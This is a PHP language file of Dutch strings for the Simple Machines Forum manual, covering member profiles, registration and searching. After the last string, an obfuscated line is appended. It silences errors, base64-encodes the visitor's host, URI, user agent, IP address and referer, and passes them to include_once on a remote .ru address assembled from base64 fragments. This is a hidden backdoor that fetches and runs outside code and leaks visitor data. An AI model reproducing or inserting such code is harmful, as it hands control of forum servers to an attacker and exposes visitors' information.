$txt['manual_profile_other_info'] = 'Extra informatie';
$txt['manual_profile_send_pm'] = 'Stuur dit lid een persoonlijk bericht.';
$txt['manual_profile_show_member_posts'] = 'Laat de laatste berichten van dit lid zien.';
$txt['manual_profile_show_member_stats'] = 'Toon algemene statistieken van dit lid.';
$txt['manual_profile_summary_part1'] = 'Dit <strong>Samenvattingscherm</strong> bestaat niet enkel om je meer te vertellen over anderen, maar is ook het eerste scherm dat je ziet wanneer je je ';
$txt['manual_profile_summary_link_owners'] = 'eigen profiel aanpast';
$txt['manual_profile_summary_part2'] = '.';
$txt['manual_profile_hide_email'] = 'Leden kunnen ervoor kiezen om hun <strong>e-mailadres</strong> en/of hun <strong>online status</strong> te verbergen.';
$txt['manual_profile_empty_part1'] = 'De velden die hier blanco werden gelaten worden niet standaard ingevuld, dus je zal je ';
$txt['manual_profile_empty_link_owners'] = 'profiel moeten aanpassen';
$txt['manual_profile_empty_part2'] = ' wanneer je deze informatie wilt tonen.';
$txt['manual_profile_send_member_pm_part1'] = 'Je kan de profieleigenaar een ';
$txt['manual_profile_send_member_pm_link_pm'] = 'persoonlijk bericht';
$txt['manual_profile_send_member_pm_part2'] = ' sturen door op <strong>Huidige status</strong> <strong>On/Offline Icoon</strong> te klikken of door de link te volgen bij <strong>Extra Informatie</strong> hieronder.';
$txt['manual_profile_show_last_posts'] = '<strong>Laat de laatste berichten zien van dit lid</strong> linkt naar een volledige lijst van alle berichten van dit lid.';
$txt['manual_profile_show_member_stats2'] = '<strong>Toon algemene statistieken van dit lid</strong> linkt naar een scherm met statistieken over de online tijd van het lid en diens posting activiteit.';
$txt['manual_profile_sec_normal'] = 'Instellingen normaal toegankelijk voor profiel eigenaars';
$txt['manual_profile_normal_desc'] = 'Het <strong>Samenvattingscherm</strong> is identiek aan dat dat hierboven is getoond en de <strong>Laat berichten zien</strong> en <strong>Toon statistieken</strong> links zijn dezelfde, maar daarnaast hebben profieleigenaars ook de beschikking over instrumenten om hun eigen profiel te personaliseren:';
$txt['manual_profile_modify_profile'] = 'Profiel wijzigen';
$txt['manual_profile_account_related'] = '<strong>Account-gerelateerde instellingen</strong> maakt het mogelijk om je <strong>weergegeven naam</strong> te veranderen (je <strong>log in</strong> of <strong>gebruikersnaam</strong> kan enkel veranderd worden door een beheerder), je <strong>taalpakket</strong> (indien de beheerder van het forum verschillende taalpakketten heeft geïnstalleerd), <strong>e-mail-</strong> en <strong>wachtwoord</strong>instellingen.';
$txt['manual_profile_forum_profile_info'] = '<strong>Forumprofielinformatie</strong> laat je toe optionele persoonlijke gegevens zoals <strong>geslacht</strong>, <strong>geboortedatum</strong>, <strong>locatie</strong>, <strong>website</strong> en <strong>instant messenger</strong> contactinformatie te wijzigen. Hier kan je ook je eigen <strong>persoonlijke tekst</strong> en <strong>handtekening</strong> ingeven en een <strong>avatar</strong> (persoonlijke afbeelding) kiezen uit een lijst (indien voorzien door de forumbeheerders) of linken naar je eigen avatar op het internet.';
$txt['manual_profile_look_layout'] = '<strong>Lay-out voorkeuren</strong> laat je toe je geprefereerde <strong>thema</strong> (forum skin), tijdzone en tijdsinstelling en andere persoonlijke voorkeuren voor <strong>layout instellingen</strong> te kiezen. Hou er rekening mee dat de huidige geselecteerde optie in het menu in vet wordt weergegeven:';
$txt['manual_profile_profile_info2'] = 'Profielinfo';
$txt['manual_profile_summary2'] = 'Samenvatting';
$txt['manual_profile_show_stats'] = 'Toon statistieken';
$txt['manual_profile_show_posts'] = 'Laat berichten zien';
$txt['manual_profile_modify_own_profile'] = 'Profiel wijzigen';
$txt['manual_profile_edit_profile1'] = 'Verander profiel';
$txt['manual_profile_acct_settings'] = 'Account-gerelateerde instellingen';
$txt['manual_profile_forum_profile'] = 'Forumprofielinformatie';
$txt['manual_profile_look_and_layout'] = 'Lay-out voorkeuren';
$txt['manual_profile_notify_email'] = 'Notificaties en e-mail';
$txt['manual_profile_pm_options1'] = 'Persoonlijke berichten opties';
$txt['manual_profile_actions'] = 'Acties';
$txt['manual_profile_delete_account'] = 'Verwijder deze account';
$txt['manual_profile_look_layout_explanation'] = ' Deze sectie laat je de lay-out van het forum zelf aanpassen.';
$txt['manual_profile_current_theme'] = 'Huidig thema';
$txt['manual_profile_board_default'] = 'Forum- of boardstandaard';
$txt['manual_profile_change'] = 'wijzig';
$txt['manual_profile_time_format'] = 'Tijdsinstelling';
$txt['manual_profile_help'] = 'Help';
$txt['manual_profile_caption_date'] = 'Maak een keuze voor de tijdsinstelling.';
$txt['manual_profile_date_option_select'] = 'Forumstandaard';
$txt['manual_profile_date_option_1'] = 'Maand Dag, Jaar, HH:MM:SS a/pm';
$txt['manual_profile_date_option_2'] = 'Maand Dag, Jaar, HH:MM:SS (legertijd.)';
$txt['manual_profile_date_option_3'] = 'YYYY-MM-DD, HH:MM:SS';
$txt['manual_profile_date_option_4'] = 'DD Maand YYYY, HH:MM:SS';
$txt['manual_profile_date_option_5'] = 'DD-MM-YYYY, HH:MM:SS';
$txt['manual_profile_time_offset'] = 'Tijdafwijking';
$txt['manual_profile_offset_hours'] = 'Het aantal uren +/- om je eigen lokale tijd weer te geven.';
$txt['manual_profile_forum_time'] = 'Huidige forumtijd:';
$txt['manual_profile_board_descriptions'] = 'Toon de boardomschrijving in de berichtenindex?';
$txt['manual_profile_show_child'] = 'Toon sub-boards op elke pagina in de forums.';
$txt['manual_profile_no_ava'] = 'Toon geen avatars van anderen.';
$txt['manual_profile_no_sig'] = 'Toon geen handtekeningen (signatures) van anderen.';
$txt['manual_profile_return_to_topic'] = 'Altijd terug naar het topic na posten.';
$txt['manual_profile_recent_posts'] = 'Toon meest recente berichten bovenaan.';
$txt['manual_profile_recent_pms'] = 'Toon meest recente persoonlijke berichten bovenaan.';
$txt['manual_profile_quick_reply'] = 'Gebruik \'Snel Reageren\' in topicweergave';
$txt['manual_profile_not_at_all'] = 'toon helemaal niet';
$txt['manual_profile_off_default'] = 'toon, standaard uit';
$txt['manual_profile_on_default'] = 'toon, standaard aan';
$txt['manual_profile_quick_mod'] = 'Toon \'Snel Modereren\' op de berichtenindex als';
$txt['manual_profile_no_quick_mod'] = 'niet tonen';
$txt['manual_profile_check_quick_mod'] = 'checkboxen';
$txt['manual_profile_icon_quick_mod'] = 'iconen';
$txt['manual_profile_first_day_week'] = 'Eerste dag van de week op de kalender:';
$txt['manual_profile_sun'] = 'Zondag';
$txt['manual_profile_mon'] = 'Maandag';
$txt['manual_profile_change_profile'] = 'Verander profiel';
$txt['manual_profile_notify_email_prefs'] = '<strong>Notificaties en e-mail</strong> stelt je in staat persoonlijke voorkeuren te selecteren voor <strong>notificaties</strong> (e-mails over nieuwe berichten/antwoorden) en somt alle notificaties op die je hebt ingesteld.';
$txt['manual_profile_pm_options_part1'] = '<strong>Persoonlijke berichten opties</strong> stelt je in staat een <strong>negeerlijst</strong> (blacklist) op te maken voor ';
$txt['manual_profile_pm_options_link_pm'] = 'persoonlijke berichten';
$txt['manual_profile_pm_options_part2'] = ', om <strong>notificaties</strong> te vragen van nieuwe persoonlijke berichten via e-mail en om standaard <strong>kopieën te bewaren</strong> van je uitgaande persoonlijke berichten.';
$txt['manual_profile_sub_actions'] = 'Acties';
$txt['manual_profile_confirm_delete_acct'] = '<strong>Verwijder deze account</strong> doet precies wat er staat! Er is nog wel een <strong>bevestigingsscherm</strong>, maar je kan effectief <strong>je eigen account verwijderen</strong>, dus wees voorzichtig...';
$txt['manual_profile_sec_settings'] = 'Instellingen die enkel toegankelijk zijn voor beheerders';
$txt['manual_profile_settings_desc'] = 'Naast de mogelijkheden van bekijken/aanpassen van alle gegevens in de profielen van andere leden, zoals hierboven beschreven, zijn verdere opties normaal gezien enkel zichtbaar en toegankelijk voor beheerders:';
$txt['manual_profile_track_user'] = 'Traceer gebruiker';
$txt['manual_profile_track_ip'] = 'Traceer IP';
$txt['manual_profile_show_permissions'] = 'Toon de permissies';
$txt['manual_profile_ban_user'] = 'Ban gebruiker';
$txt['manual_profile_sub_profile_info'] = 'Profielinformatie';
$txt['manual_profile_sub_track_user'] = '<strong>Traceer gebruiker</strong> geeft een lijst van <strong>IP-adressen</strong> gebruikt door het lid of andere leden die in hetzelfde <strong>IP-gebied</strong> zitten, en <strong>foutmeldingen</strong> die gegenereerd of ervaren zijn door het lid.';
$txt['manual_profile_sub_track_ip'] = '<strong>Traceer IP</strong> geeft een aantal instrumenten om <strong>leden</strong>, <strong>berichten</strong> en <strong>fouten</strong> te traceren van elke gespecifieerde <strong>IP-gebied</strong>.';
$txt['manual_profile_sub_show_permissions'] = '<strong>Toon de permissies</strong> somt de <strong>forumpermissies</strong> op van het lid en wie de permissies heeft toegekend.';
$txt['manual_profile_sub_modify_profile'] = 'Profiel wijzigen';
$txt['manual_profile_sub_acct_settings'] = '<strong>Account-gerelateerde instellingen</strong> geeft vrijwel hetzelfde scherm als dat van de profieleigenaars, maar met de extra optie om leden toe te wijzen aan <strong>ledengroepen</strong>.';
$txt['manual_profile_sub_forum_profile_info'] = '<strong>Forumprofielinformatie</strong> geeft vrijwel hetzelfde scherm als dat van de profieleigenaars, maar met de extra optie om <strong>extra titels</strong> toe te kennen aan leden.';
$txt['manual_profile_sub_actions2'] = 'Acties';
$txt['manual_profile_sub_ban_user'] = '<strong>Verban gebruiker</strong> geeft een aantal instrumenten om gebruikers te <strong>bannen</strong>, de <strong>graad</strong> van de ban te configureren en een <strong>banlijst</strong> te houden waarin alle details van de bans worden bijgehouden.';
$txt['manual_profile_sub_delete_acct'] = '<strong>Verwijder deze account</strong> is een gelijkwaardig scherm als het scherm dat beschikbaar is voor alle leden, maar de <strong>vraag tot bevestiging</strong> is anders wanneer je een andere account dan die van jezelf wil verwijderen.';

// Entries for template: registering.
$txt['manual_registering_you_have_arrived_part1'] = 'Wanneer je je SMF forum hebt opgezet, of je wilt je aanmelden bij een ander SMF forum, moet je een gebruikersnaam registreren. Deze gebruikersnaam houdt voor je bij wat je al hebt gelezen en zorgt ervoor dat je een consistente identiteit behoudt bij al je posts. Het maakt niet uit achter welke computer je zit, nadat je je hebt ingelogd is alles op elke computer hetzelfde. Je kan ook een persoonlijk ';
$txt['manual_registering_you_have_arrived_link_profile'] = 'profiel';
$txt['manual_registering_you_have_arrived_part2'] = ' invullen en je kunt het ingebouwde ';
$txt['manual_registering_you_have_arrived_link_profile_pm'] = 'persoonlijke berichten systeem';
$txt['manual_registering_you_have_arrived_part3'] = ' gebruiken. Door je te registreren krijg je de mogelijkheid om je forumactiviteit te bekijken, je te abonneren op forumnotificaties en nog veel meer.';
$txt['manual_registering_sec_register'] = 'Hoe registreer ik me?';
$txt['manual_registering_register_desc'] = 'Ervan uitgaande dat je als gast op dit forum terecht bent gekomen en je jezelf wilt registreren, moet je naar de volgende twee dingen kijken:';
$txt['manual_registering_select_register_part1'] = 'Op elke willekeurige pagina van dit forum, kun je de knop <strong>Registreren</strong> aanklikken van ';
$txt['manual_registering_select_register_link_index_main'] = 'het hoofdmenu';
$txt['manual_registering_select_register_part2'] = '.';
$txt['manual_registering_login_Scr_part1'] = 'Een inlogscherm met de waarschuwing dat enkel geregistreerde leden dit onderdeel mogen bekijken. In dit geval kan je de in dit bericht gegeven link gebruiken of de knop <strong>Registreren</strong> selecteren van ';
$txt['manual_registering_login_Scr_link_index_main'] = 'het hoofdmenu';
$txt['manual_registering_login_Scr_part2'] = '.';
$txt['manual_registering_warning'] = 'Waarschuwing!';
$txt['manual_registering_warning_desc_1'] = 'Alleen geregistreerde leden mogen in dit gedeelte komen.';
$txt['manual_registering_warning_desc_2'] = 'Log hieronder in, of klik ';
$txt['manual_registering_warning_desc_3'] = 'hier';
$txt['manual_registering_warning_desc_4'] = ' om jezelf vrijblijvend te registreren als lid van dit forum.';
$txt['manual_registering_sec_reg_screen'] = 'Het registratiescherm';
$txt['manual_registering_required_info'] = 'Registreren - Verplichte velden';
$txt['manual_registering_choose_username'] = 'Kies gebruikersnaam';
$txt['manual_registering_caption_username'] = 'Wordt alleen gebruikt voor identificatie door SMF. Je kunt speciale karakters gebruiken nadat je bent ingelogd, door je naam aan te passen in je profiel.';
$txt['manual_registering_email'] = 'E-mail';
$txt['manual_registering_caption_email'] = 'Dit moet een geldig e-mailadres zijn.';
$txt['manual_registering_hide_email'] = 'E-mail verbergen voor anderen?';
$txt['manual_registering_choose_pass'] = 'Kies wachtwoord';
$txt['manual_registering_verify_pass'] = 'Wachtwoord nog een keer';
$txt['manual_registering_agreement'] = 'Hier komt de registratieovereenkomst (als er een is).';
$txt['manual_registering_agree'] = 'Ik ga akkoord';
$txt['manual_registering_register'] = 'Registreren';
$txt['manual_registering_reg_screen_requirements_part1'] = 'Wanneer je bij het registratiescherm aankomt, zul je een <strong>gebruikersnaam</strong>, <strong>een e-mailadres</strong> en een <strong>wachtwoord</strong> moeten invullen. Je krijgt hierbij mogelijk de optie om je e-mailadres niet te tonen aan andere gebruikers. Aangezien de meeste forums ook eisen dat je akkoord gaat met hun voorwaarden, zul je deze door moeten lezen en <strong>Ik ga akkoord</strong> moeten aanvinken. Daarna kun je door op <strong>Registreren</strong> te drukken je registratie bevestigen. Wat er vervolgens gebeurt hangt af van de instellingen van het forum. Als het eerstvolgende scherm het ';
$txt['manual_registering_reg_screen_requirements_link_loginout_screen'] = 'inlogscherm';
$txt['manual_registering_reg_screen_requirements_part2'] = ' is, met het bericht erin om door te gaan, dan ben je al klaar. Als dit er niet is, zijn er twee andere mogelijkheden:';
$txt['manual_registering_email_activate'] = 'Als het registratieproces zo staat ingesteld dat de leden zichzelf moeten activeren, zal het volgende scherm je daarvan op de hoogte brengen en zul je meteen een e-mail ontvangen met instructies erin over hoe je verder moet gaan.';
$txt['manual_registering_admin_approve'] = 'Als het registratieproces zo staat ingesteld dat er eerst toestemming moet komen van de forumbeheerder, zal het volgende scherm je hiervan op de hoogte brengen en zul je direct een bevestiging per e-mail ontvangen. Later zul je een andere e-mail krijgen met bericht over het al dan niet goedkeuren van je registratie.';

// Entries for template: searching.
$txt['manual_searching_you_have_arrived'] = 'Aangezien SMF van nature een krachtig zoeksysteem heeft, is het vaak de oplossing voor het vinden van goede informatie!';
$txt['manual_searching_sec_search'] = 'Een zoekopdracht geven';
$txt['manual_searching_search_desc_part1'] = 'Ervan uitgaande dat SMF het standaardthema gebruikt (of een afgeleide ervan), is er een simpel <strong>Zoek</strong> veld (ondersteund door de link <strong>Geavanceerd zoeken</strong>) in het inklapbare bovenste gedeelte en bevindt er zich een knop <strong>Zoeken</strong> in ';
$txt['manual_searching_search_desc_link_index_main'] = 'het hoofdmenu';
$txt['manual_searching_search_desc_part2'] = '. Zo niet, dan zal de knop <strong>Zoeken</strong> in het hoofdmenu u nog steeds direct naar het scherm voor geavanceerd zoeken brengen.';
$txt['manual_searching_sec_syntax'] = 'Syntaxis';
$txt['manual_searching_syntax_desc'] = 'Ook al kan je elke willekeurige combinatie van karakters invoeren in het zoek veld, kan je ook eens overwegen om gebruik te maken van aanhalingstekens <!-- en/of sterretjes --> om via de zoekopdracht de resultaten te laten geven die jij wilt:';
$txt['manual_searching_sub_quotes'] = 'Aanhalingstekens';
$txt['manual_searching_quotes_desc'] = 'Kort samengevat komt het erop neer dat wanneer je zoekt naar <strong>simple machines forum</strong> het resultaat een of alle van deze drie woorden zal zijn. Wanneer het echter een zoekopdracht is met <em>dubbele</em> aanhalingstekens (bijv. <strong>"simple machines forum"</strong>) zal het enkel de volledige zin als resultaat geven.';
$txt['manual_searching_sec_simple_adv'] = 'Eenvoudig of geavanceerd?';
$txt['manual_searching_sub_simple'] = 'Eenvoudig zoeken';
$txt['manual_searching_simple_desc'] = 'Om de eenvoudige zoekfunctie te kunnen gebruiken (indien ingeschakeld), zijn de hierboven uitgelegde termen eigenlijk de enige dingen die je nodig hebt. Je zou echter misschien wel willen weten dat deze vorm van zoeken het <em>gehele</em> forum doorzoekt naar posts die in de afgelopen 9999 dagen (wat meer dan 27 jaar is!) zijn gemaakt. Dus, als je wat meer controle wil over je zoekmogelijkheden dan kan je beter de geavanceerde zoekfunctionaliteit gebruiken.';
$txt['manual_searching_sub_adv'] = 'Geavanceerd zoeken';
$txt['manual_searching_adv_desc'] = 'Het scherm om geavanceerd te zoeken kan er in het begin soms wat intimiderend eruit ziet, vooral als een forum veel boards en subboards heeft. Toch is het verbazingwekkend simpel als je het opdeelt in zijn basisonderdelen:';
$txt['manual_searching_forum_name'] = 'Forumnaam';
$txt['manual_searching_search'] = 'Zoeken';
$txt['manual_searching_search_param'] = 'Stel zoekparameters in';
$txt['manual_searching_search_for'] = 'Zoek naar';
$txt['manual_searching_match_all'] = 'Alle zoektermen moeten overeenkomen';
$txt['manual_searching_match_any'] = 'E&eacute;n of meer zoektermen moeten overeenkomen';
$txt['manual_searching_by_user'] = 'Door gebruiker';
$txt['manual_searching_options'] = 'Opties';
$txt['manual_searching_msg_age'] = 'Berichtouderdom';
$txt['manual_searching_show_results'] = 'Toon resultaten als berichten';
$txt['manual_searching_subject_only'] = 'Zoek alleen op onderwerp';
$txt['manual_searching_between'] = 'Tussen ';
$txt['manual_searching_and'] = ' en ';
$txt['manual_searching_days'] = ' dagen';
$txt['manual_searching_search_order'] = 'Zoekvolgorde';
$txt['manual_searching_relevant_first'] = 'Meest relevante resultaten eerst';
$txt['manual_searching_big_first'] = 'Grootste topics eerst';
$txt['manual_searching_small_first'] = 'Kleinste topics eerst';
$txt['manual_searching_recent_first'] = 'Meest recente topics eerst';
$txt['manual_searching_oldest_first'] = 'Oudste topics eerst';
$txt['manual_searching_choose'] = 'Kies een board waar je in wilt zoeken, of selecteer alle boards';
$txt['manual_searching_cat'] = 'Categorienaam';
$txt['manual_searching_board_name'] = 'Boardnaam';
$txt['manual_searching_another_board'] = 'Nog een board';
$txt['manual_searching_check_all'] = ' Vink alles aan';
$txt['manual_searching_nav_tree'] = 'Sommige forums tonen de <strong>navigatieboom</strong> aan de bovenkant in een ruimte besparende horizontale stijl.';
$txt['manual_searching_three_options_part1'] = 'Ook al lijkt het er in het begin niet op, er zijn in feite <em>drie</em> opties die bepalen hoe je zoekt. Dit zijn de opties <strong>Alle zoektermen moeten overeenkomen</strong> en <strong>Eén of meer zoektermen moeten overeenkomen</strong> in het menu en een andere optie is het gebruik van <strong>aanhalingstekens</strong><!-- en <strong>*wildcards</strong> --> die nog steeds beschikbaar zijn zoals al eerder werd ';
$txt['manual_searching_three_options_link_syntax'] = 'omschreven';
$txt['manual_searching_three_options_part2'] = '.';
$txt['manual_searching_wildcard'] = 'Het standaard * in het <strong>door gebruiker</strong> veld, is in feite een sterretje dat betekent dat er op elke willekeurige poster word gezocht. Houd er rekening mee dat, ook al kan je dit sterretje vervangen door een <em>enkele</em> gebruikersnaam, het momenteel nog niet mogelijk is om op meerdere gebruikersnamen te zoeken op een andere wijze dan door dat enkele sterretje te gebruiken.';
$txt['manual_searching_results_as_messages'] = '<strong>Toon resultaten als berichten</strong> geeft het volledige bericht met de zoek opdracht erin (inclusief een optie om te reageren) in plaats van de gewoonlijke resultaten die worden weergegeven als links. Dit geeft natuurlijk vele malen langere pagina\'s met zoekresultaten, vooral als er op een veel gebruikt woord wordt gezocht.';
$txt['manual_searching_message_age'] = '<strong>Berichtouderdom</strong> stelt de minimum en maximum leeftijd van de gezochte post in.';
$txt['manual_searching_which_board'] = '<strong>Kies een board waar je in wil zoeken, of selecteer alle boards</strong> geeft je nog een mogelijkheid om je zoekopdracht gerichter te maken. Standaard staat het ingesteld op \'Vink alles aan\' (het gehele forum, of beter gezegd, alle boards waar jij toegang toe hebt).';
$txt['manual_searching_search_button'] = 'De <strong>Zoek</strong> knop is datgene wat ervoor zorgt dat er ook daadwerkelijk iets gebeurt. Je kan overigens ook op \'Enter\' drukken vanaf elk willekeurige zoek veld, als dat beter uit komt.';

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>